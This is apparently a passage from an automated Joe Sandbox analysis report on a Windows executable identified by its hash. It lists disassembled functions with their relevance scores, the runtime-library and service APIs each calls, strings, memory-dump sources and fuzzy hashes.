Opcode Fuzzy Hash: 69f2b5708e616187e934cedd954eabdd3f6ef88739ed6815fd0e6bcb534e0a1a
Instruction Fuzzy Hash: 86112CB1A41B44BAD932FFB0CC06FCB779C9F04702F404C25BA9B6E072DF69A55A5650

Function 003561CA Relevance: 9.3, APIs: 6, Instructions: 317fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(?,00000001,?), ref: 00356212
__fassign.LIBCMT ref: 003563F7
__fassign.LIBCMT ref: 00356414
WriteFile.KERNEL32(?,?,00000000,?,00000000,?,?,?,?,?,?,?,?,?,?,00000000), ref: 0035645C
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 0035649C
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000), ref: 00356544

Memory Dump Source

Source File: 00000000.00000002.3286192538.0000000000311000.00000020.00000001.01000000.00000003.sdmp, Offset: 00310000, based on PE: true

Associated: 00000000.00000002.3286147238.0000000000310000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286289686.0000000000363000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286334177.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286371153.0000000000370000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286423984.0000000000374000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286471868.0000000000375000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_310000_611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.jbxd

Yara matches

Similarity

API ID: FileWrite__fassign$ConsoleErrorLastOutput
String ID:
API String ID: 1735259414-0
Opcode ID: dcfcebe560d917ad1a3ed3af5dbc4f34cc88a39a280ec2d59361f43b25636a29
Instruction ID: 7833584ce0850996de432d2cd9bd11de4a940087440612a8ce80c414581573d7
Opcode Fuzzy Hash: dcfcebe560d917ad1a3ed3af5dbc4f34cc88a39a280ec2d59361f43b25636a29
Instruction Fuzzy Hash: E2C1C0B5D002588FCF16CFE8C8819EDBBB9AF09315F68416AE815FB251D630994ACB50

Function 0034ADD0 Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,0034ADC7,0034A617,00349E5F), ref: 0034ADDE
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 0034ADEC
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 0034AE05
SetLastError.KERNEL32(00000000,0034ADC7,0034A617,00349E5F), ref: 0034AE57

Memory Dump Source

Source File: 00000000.00000002.3286192538.0000000000311000.00000020.00000001.01000000.00000003.sdmp, Offset: 00310000, based on PE: true

Associated: 00000000.00000002.3286147238.0000000000310000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286289686.0000000000363000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286334177.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286371153.0000000000370000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286423984.0000000000374000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286471868.0000000000375000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_310000_611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.jbxd

Yara matches

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: fbfd2576b177e910f747a9b8e2397ab46c704fb9fa204f41a4bfd6486af80a34
Instruction ID: 1d12ce646ad96d9c67a4f8abcd2cc3c38db17c64f3b9201d69401a13e549004f
Opcode Fuzzy Hash: fbfd2576b177e910f747a9b8e2397ab46c704fb9fa204f41a4bfd6486af80a34
Instruction Fuzzy Hash: 89016432A4DB119EA63326B27C82A2726DCEB017B1B210329F5204D0F0FF90AC495505

Function 00327AD0 Relevance: 9.0, APIs: 2, Strings: 3, Instructions: 210memoryCOMMON

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMTD ref: 00327BD9
_Allocate.LIBCONCRTD ref: 00327BE9

Strings

MM2, xrefs: 00327AF3, 00327DAB
QP1, xrefs: 00327AE0
MM2, xrefs: 00327C18

Memory Dump Source

Source File: 00000000.00000002.3286192538.0000000000311000.00000020.00000001.01000000.00000003.sdmp, Offset: 00310000, based on PE: true

Associated: 00000000.00000002.3286147238.0000000000310000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286289686.0000000000363000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286334177.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286371153.0000000000370000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286423984.0000000000374000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286471868.0000000000375000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_310000_611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.jbxd

Yara matches

Similarity

API ID: AllocateConcurrency::cancel_current_task
String ID: MM2$MM2$QP1
API String ID: 806954194-2220108417
Opcode ID: 5c853863d51c605d0ef6af6e66a130ba16c7c00ed55244406e43554b91c37372
Instruction ID: c39a2d9da854e1202884ad75f0608cb7eb8fdeba2076314abe6e7bc13fe08ad5
Opcode Fuzzy Hash: 5c853863d51c605d0ef6af6e66a130ba16c7c00ed55244406e43554b91c37372
Instruction Fuzzy Hash: 69A192B5E042199FCB18CF98D991AEEBBF5BF88310F208199E509A7355D7306A41CFA4

Function 00357637 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 83COMMON

Download Yara Rule

Strings

C:\Users\user\Desktop\611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe, xrefs: 0035763C

Memory Dump Source

Source File: 00000000.00000002.3286192538.0000000000311000.00000020.00000001.01000000.00000003.sdmp, Offset: 00310000, based on PE: true

Associated: 00000000.00000002.3286147238.0000000000310000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286289686.0000000000363000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286334177.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286371153.0000000000370000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286423984.0000000000374000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286471868.0000000000375000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_310000_611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.jbxd

Yara matches

Similarity

API ID:
String ID: C:\Users\user\Desktop\611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe
API String ID: 0-1535992457
Opcode ID: 577ba6acf981bb9ef58053a15ff2981441996f460cc6462da4d887bf584c2ce7
Instruction ID: 4eee493eace9a960d13e0f7e95216aa9b08191c9164d87a1347f98239e8a3e0a
Opcode Fuzzy Hash: 577ba6acf981bb9ef58053a15ff2981441996f460cc6462da4d887bf584c2ce7
Instruction Fuzzy Hash: 2221D47160C606BF9B12AF69AC80D2B77ADEF013667118614FC15DB170EB31DC0A87A0

Function 0034BE77 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 62COMMONLIBRARYCODE

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,?,?,?,0034BF38,?,?,0036EED4,00000000,?,0034C063,00000004,InitializeCriticalSectionEx,00363D6C,InitializeCriticalSectionEx,00000000), ref: 0034BF07

Strings

api-ms-, xrefs: 0034BEC7

Memory Dump Source

Source File: 00000000.00000002.3286192538.0000000000311000.00000020.00000001.01000000.00000003.sdmp, Offset: 00310000, based on PE: true

Associated: 00000000.00000002.3286147238.0000000000310000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286289686.0000000000363000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286334177.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286371153.0000000000370000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286423984.0000000000374000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286471868.0000000000375000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_310000_611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.jbxd

Yara matches

Similarity

API ID: FreeLibrary
String ID: api-ms-
API String ID: 3664257935-2084034818
Opcode ID: 37865db2e09339010b17f81fdc297c357d8a335c77311b7c4d49bf7df4a82646
Instruction ID: ce20c8a1c8bbf71fe1dc14ecb52e73c39c09e3806617938b73a13645a0f25613
Opcode Fuzzy Hash: 37865db2e09339010b17f81fdc297c357d8a335c77311b7c4d49bf7df4a82646
Instruction Fuzzy Hash: 1E11C635A01221BBDF239B68AC45B99B7D8AF417B0F164110FA05EF280D7B0FE808AD4

Function 00352675 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 30libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,0035266A,?,?,00352632,?,?,?), ref: 0035268A
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 0035269D
FreeLibrary.KERNEL32(00000000,?,?,0035266A,?,?,00352632,?,?,?), ref: 003526C0

Strings

mscoree.dll, xrefs: 00352683
CorExitProcess, xrefs: 00352695

Memory Dump Source

Source File: 00000000.00000002.3286192538.0000000000311000.00000020.00000001.01000000.00000003.sdmp, Offset: 00310000, based on PE: true

Associated: 00000000.00000002.3286147238.0000000000310000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286289686.0000000000363000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286334177.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286371153.0000000000370000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286423984.0000000000374000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286471868.0000000000375000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_310000_611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.jbxd

Yara matches

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: aedb1d5165d1a02c614cdef133fc346e57d6d85a189744a3495f61bc4e6f0481
Instruction ID: 24dab52e42994be8d051a3a01c030fdf894cf4ae2d3fe65961c1b9cfc1a4bdba
Opcode Fuzzy Hash: aedb1d5165d1a02c614cdef133fc346e57d6d85a189744a3495f61bc4e6f0481
Instruction Fuzzy Hash: F7F01231A10218FBDB13AB50DD09B9E7A78EB41756F118064F805A2160CBB08F04DA95

Function 0035D3C4 Relevance: 7.7, APIs: 5, Instructions: 199COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 0035D448
__alloca_probe_16.LIBCMT ref: 0035D50E
__freea.LIBCMT ref: 0035D57A

Part of subcall function 003548DF: RtlAllocateHeap.NTDLL(00000000,00000000,?,?,0034956E,00000000,?,00311FF9,00000000,?,00311F08), ref: 00354911

__freea.LIBCMT ref: 0035D583
__freea.LIBCMT ref: 0035D5A6

Memory Dump Source

Source File: 00000000.00000002.3286192538.0000000000311000.00000020.00000001.01000000.00000003.sdmp, Offset: 00310000, based on PE: true

Associated: 00000000.00000002.3286147238.0000000000310000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286289686.0000000000363000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286334177.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286371153.0000000000370000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286423984.0000000000374000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286471868.0000000000375000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_310000_611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.jbxd

Yara matches

Similarity

API ID: __freea$__alloca_probe_16$AllocateHeap
String ID:
API String ID: 1423051803-0
Opcode ID: 90eb3ce1e1011d792c022937826977caed63d11c37349164e47a2b1514de2c96
Instruction ID: b18891de280763c13701b825288135bf7bc57ed6eef24a0832fe8dc6d9a72eb9
Opcode Fuzzy Hash: 90eb3ce1e1011d792c022937826977caed63d11c37349164e47a2b1514de2c96
Instruction Fuzzy Hash: 4651E3B250020AAFDB339F54CC41EBF37A9EF41756F264529FD04AB160EB30DC5986A0

Function 003200D0 Relevance: 7.6, APIs: 5, Instructions: 109registryCOMMON

Download Yara Rule

APIs

RegisterServiceCtrlHandlerA.ADVAPI32(?,Function_000100B0), ref: 003201FC
SetServiceStatus.ADVAPI32(00000000,0036F574), ref: 0032022B
SetServiceStatus.ADVAPI32(00000000,0036F574), ref: 00320254
SetServiceStatus.ADVAPI32(00000000,0036F574), ref: 00320270
SetServiceStatus.ADVAPI32(00000000,0036F574), ref: 00320299

Memory Dump Source

Source File: 00000000.00000002.3286192538.0000000000311000.00000020.00000001.01000000.00000003.sdmp, Offset: 00310000, based on PE: true

Associated: 00000000.00000002.3286147238.0000000000310000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286289686.0000000000363000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286334177.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286371153.0000000000370000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286423984.0000000000374000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286471868.0000000000375000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_310000_611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.jbxd

Yara matches

Similarity

API ID: Service$Status$CtrlHandlerRegister
String ID:
API String ID: 1836899780-0
Opcode ID: f2ed50ab83c8c2dde20d37157e855ba38560741ffc672e757fdfb7c7e36ef9ba
Instruction ID: f26539ad2120e1e6b2f947bff7be7d721a0bf1ecfbe99bed66eb9a6c3db10abb
Opcode Fuzzy Hash: f2ed50ab83c8c2dde20d37157e855ba38560741ffc672e757fdfb7c7e36ef9ba
Instruction Fuzzy Hash: 4E515974D04288DFDB12CFA8E8896DDBBB4FF1A304F108129DA42A7361E7B15A49CF50

Function 00358AA9 Relevance: 7.5, APIs: 5, Instructions: 40COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 00358AC1

Part of subcall function 003543F6: RtlFreeHeap.NTDLL(00000000,00000000,?,00358B3C,?,00000000,?,?,?,00358B63,?,00000007,?,?,00358F65,?), ref: 0035440C
Part of subcall function 003543F6: GetLastError.KERNEL32(?,?,00358B3C,?,00000000,?,?,?,00358B63,?,00000007,?,?,00358F65,?,?), ref: 0035441E

_free.LIBCMT ref: 00358AD3
_free.LIBCMT ref: 00358AE5
_free.LIBCMT ref: 00358AF7
_free.LIBCMT ref: 00358B09

Memory Dump Source

Source File: 00000000.00000002.3286192538.0000000000311000.00000020.00000001.01000000.00000003.sdmp, Offset: 00310000, based on PE: true

Associated: 00000000.00000002.3286147238.0000000000310000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286289686.0000000000363000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286334177.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286371153.0000000000370000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286423984.0000000000374000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286471868.0000000000375000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_310000_611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 3f01edf01b17ad20612847348d3a9b85ca6a24ef42388892524a16d35a03ed5b
Instruction ID: 8361a14254b6a36961b03401461a91a302c57a760e56defa48f1dc8b79d155f1
Opcode Fuzzy Hash: 3f01edf01b17ad20612847348d3a9b85ca6a24ef42388892524a16d35a03ed5b
Instruction Fuzzy Hash: 05F04F36504200F7862BEB6DE586C1773DDEA00311B694C05FD08EB670CFA8FC898660

Function 00328310 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 232memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMTD ref: 0032840D
_Allocate.LIBCONCRTD ref: 0032841F

Strings

}h2, xrefs: 00328333, 0032863E
}h2, xrefs: 00328450

Memory Dump Source

Source File: 00000000.00000002.3286192538.0000000000311000.00000020.00000001.01000000.00000003.sdmp, Offset: 00310000, based on PE: true

Associated: 00000000.00000002.3286147238.0000000000310000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286289686.0000000000363000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286334177.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286371153.0000000000370000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286423984.0000000000374000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286471868.0000000000375000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_310000_611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.jbxd

Yara matches

Similarity

API ID: AllocateConcurrency::cancel_current_task
String ID: }h2$}h2
API String ID: 806954194-958364417
Opcode ID: 8e5061569ef25c7b8bf1eaf49467a9d2fdf12720116defc8e53e7fad990385b6
Instruction ID: 8ac5ab570d11fec184ab8258a63b72aa9f180d98f812be7da249dc4cda6c9a75
Opcode Fuzzy Hash: 8e5061569ef25c7b8bf1eaf49467a9d2fdf12720116defc8e53e7fad990385b6
Instruction Fuzzy Hash: 50B180B4E04219DFDB14CF98D980A9EFBB5FF49310F208299E919A7345D730A985CF61

Function 0033B1A0 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 211memoryCOMMON

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMTD ref: 0033B29D
_Allocate.LIBCONCRTD ref: 0033B2AF

Strings

W3, xrefs: 0033B2E0
W3, xrefs: 0033B1C3, 0033B47B

Memory Dump Source

Source File: 00000000.00000002.3286192538.0000000000311000.00000020.00000001.01000000.00000003.sdmp, Offset: 00310000, based on PE: true

Associated: 00000000.00000002.3286147238.0000000000310000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286289686.0000000000363000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286334177.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286371153.0000000000370000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286423984.0000000000374000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286471868.0000000000375000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_310000_611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.jbxd

Yara matches

Similarity

API ID: AllocateConcurrency::cancel_current_task
String ID: W3$W3
API String ID: 806954194-1712538904
Opcode ID: 1b53baade5b77b8fe97cc6e2e4537f5debfa6827296973ef29c72fbaa14e3e67
Instruction ID: b5dede2d1a2ff7add06b305673043e4a0961c9e6981a925fbd05f854602c0739
Opcode Fuzzy Hash: 1b53baade5b77b8fe97cc6e2e4537f5debfa6827296973ef29c72fbaa14e3e67
Instruction Fuzzy Hash: 75A191B4E002189FDB18CF99D880AEEFBB5FF88310F208259E519A7355D730AA45CF61

Function 0033A7B0 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 211memoryCOMMON

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMTD ref: 0033A8AD
_Allocate.LIBCONCRTD ref: 0033A8BF

Strings

mN3, xrefs: 0033A8F0
mN3, xrefs: 0033A7D3, 0033AA8B

Memory Dump Source

Source File: 00000000.00000002.3286192538.0000000000311000.00000020.00000001.01000000.00000003.sdmp, Offset: 00310000, based on PE: true

Associated: 00000000.00000002.3286147238.0000000000310000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286289686.0000000000363000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286334177.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286371153.0000000000370000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286423984.0000000000374000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286471868.0000000000375000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_310000_611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.jbxd

Yara matches

Similarity

API ID: AllocateConcurrency::cancel_current_task
String ID: mN3$mN3
API String ID: 806954194-447428758
Opcode ID: 21f8fb964a6989e1dfd79af324f85752de9197cdde66cd7b6c692b64e92ebba2
Instruction ID: 489178e693fbbb6c9dc9cc29cc8aea9366e395753d09a23bf267c0e35355ca17
Opcode Fuzzy Hash: 21f8fb964a6989e1dfd79af324f85752de9197cdde66cd7b6c692b64e92ebba2
Instruction Fuzzy Hash: BCA191B5E042189FDB18CF98D980AEEBBB5FF88310F208259E519B7355D730AA45CF61

Function 0033AB00 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 211memoryCOMMON

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMTD ref: 0033ABFD
_Allocate.LIBCONCRTD ref: 0033AC0F

Strings

MQ3, xrefs: 0033AC40
MQ3, xrefs: 0033AB23, 0033ADDB

Memory Dump Source

Source File: 00000000.00000002.3286192538.0000000000311000.00000020.00000001.01000000.00000003.sdmp, Offset: 00310000, based on PE: true

Associated: 00000000.00000002.3286147238.0000000000310000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286289686.0000000000363000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286334177.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286371153.0000000000370000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286423984.0000000000374000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286471868.0000000000375000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_310000_611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.jbxd

Yara matches

Similarity

API ID: AllocateConcurrency::cancel_current_task
String ID: MQ3$MQ3
API String ID: 806954194-3531733306
Opcode ID: 1ef0993effad695a1fbd21b3992be9d6a6390791e3c69ad4af7bc341c9647538
Instruction ID: 2dc6a05c990d34450189cbcbc549a2eddacd0a789bc73e8efee178717d5a1f32
Opcode Fuzzy Hash: 1ef0993effad695a1fbd21b3992be9d6a6390791e3c69ad4af7bc341c9647538
Instruction Fuzzy Hash: 18A1A2B5E006189FDB18CF98D980ADEBBB5FF88310F208299E519A7355D730A945CF61

Function 0033AE50 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 211memoryCOMMON

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMTD ref: 0033AF4D
_Allocate.LIBCONCRTD ref: 0033AF5F

Strings

-T3, xrefs: 0033AF90
-T3, xrefs: 0033AE73, 0033B12B

Memory Dump Source

Source File: 00000000.00000002.3286192538.0000000000311000.00000020.00000001.01000000.00000003.sdmp, Offset: 00310000, based on PE: true

Associated: 00000000.00000002.3286147238.0000000000310000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286289686.0000000000363000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286334177.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286371153.0000000000370000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286423984.0000000000374000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286471868.0000000000375000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_310000_611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.jbxd

Yara matches

Similarity

API ID: AllocateConcurrency::cancel_current_task
String ID: -T3$-T3
API String ID: 806954194-1012538121
Opcode ID: cc0674c74e2ff598bb6332be815955fccbffd74168b2e006651a171a5b72efb3
Instruction ID: 1fca764bbbfe18e85eae071e1b03e135e2a0a9e0ed58dcef0cc08c0c0df54b6f
Opcode Fuzzy Hash: cc0674c74e2ff598bb6332be815955fccbffd74168b2e006651a171a5b72efb3
Instruction Fuzzy Hash: 33A1A1B5E002589FDB18CF99D880AEEBBB5FF88310F208259E519B7355D730AA45CF61

Function 00357072 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 206COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 0035720C

Strings

*?, xrefs: 003570B5

Memory Dump Source

Source File: 00000000.00000002.3286192538.0000000000311000.00000020.00000001.01000000.00000003.sdmp, Offset: 00310000, based on PE: true

Associated: 00000000.00000002.3286147238.0000000000310000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286289686.0000000000363000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286334177.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286371153.0000000000370000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286423984.0000000000374000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286471868.0000000000375000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_310000_611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.jbxd

Yara matches

Similarity

API ID: _free
String ID: *?
API String ID: 269201875-2564092906
Opcode ID: d13e61ce19c85bdbfa5b69b6412ba720244a744a13bb18cb461e608084e087e1
Instruction ID: 10b6baaedac78a048e3aac8803ead09fa86393f8e7f29cf4c0ce973b23d11d17
Opcode Fuzzy Hash: d13e61ce19c85bdbfa5b69b6412ba720244a744a13bb18cb461e608084e087e1
Instruction Fuzzy Hash: 0A615C75D04219AFCB16CFA8D8819EEFBF5EF48310F258169EC15EB310D635AE458B90

Function 00356A37 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 170fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 003561CA: GetConsoleOutputCP.KERNEL32(?,00000001,?), ref: 00356212

WriteFile.KERNEL32(?,?,00000000,?,00000000,?,?,?,00354752,?,?,?,0036CF90,0000002C,003547C3,?), ref: 00356B7D
GetLastError.KERNEL32 ref: 00356B87
__dosmaperr.LIBCMT ref: 00356BC6

Strings

RG5, xrefs: 00356B68, 00356B57, 00356B47, 00356B37, 00356AFA, 00356AE3, 00356AE7, 00356AFF, 00356B3C, 00356B4C, 00356B5C

Memory Dump Source

Source File: 00000000.00000002.3286192538.0000000000311000.00000020.00000001.01000000.00000003.sdmp, Offset: 00310000, based on PE: true

Associated: 00000000.00000002.3286147238.0000000000310000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286289686.0000000000363000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286334177.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286371153.0000000000370000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286423984.0000000000374000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286471868.0000000000375000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_310000_611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.jbxd

Yara matches

Similarity

API ID: ConsoleErrorFileLastOutputWrite__dosmaperr
String ID: RG5
